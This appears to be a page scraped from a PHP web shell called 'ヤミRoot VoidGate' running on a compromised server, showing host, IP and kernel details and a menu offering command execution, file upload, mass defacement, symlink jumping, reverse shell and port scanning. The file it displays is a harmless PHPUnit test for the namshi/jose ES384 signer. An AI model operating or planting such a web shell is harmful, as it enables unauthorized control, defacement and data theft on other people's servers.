ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
namshi
/
jose
/
tests
/
Namshi
/
JOSE
/
Test
/
Signer
/
OpenSSL
/
Viewing: ES384Test.php
<?php namespace Namshi\JOSE\Test\OpenSSL\Signer; use Namshi\JOSE\Signer\OpenSSL\ES384; use Namshi\JOSE\Test\Signer\SecLib\SecLibTestCase; class ES384Test extends SecLibTestCase { public function setup() { parent::setup(); // https://github.com/sebastianbergmann/phpunit/issues/1356 if (defined('HHVM_VERSION')) { $this->markTestSkipped(); } $this->privateKey = openssl_pkey_get_private(SSL_KEYS_PATH.'private.es384.key', 'tests'); $this->public = openssl_pkey_get_public(SSL_KEYS_PATH.'public.es384.key'); $this->signer = new ES384(); } public function testVerificationWorksProperly() { $encrypted = $this->signer->sign('aaa', $this->privateKey); $this->assertInternalType('bool', $this->signer->verify($this->public, $encrypted, 'aaa')); $this->assertTrue($this->signer->verify($this->public, $encrypted, 'aaa')); } public function testSigningWorksProperly() { $this->assertInternalType('string', $this->signer->sign('aaa', $this->privateKey)); } }
Coded With 💗 by
0x6ick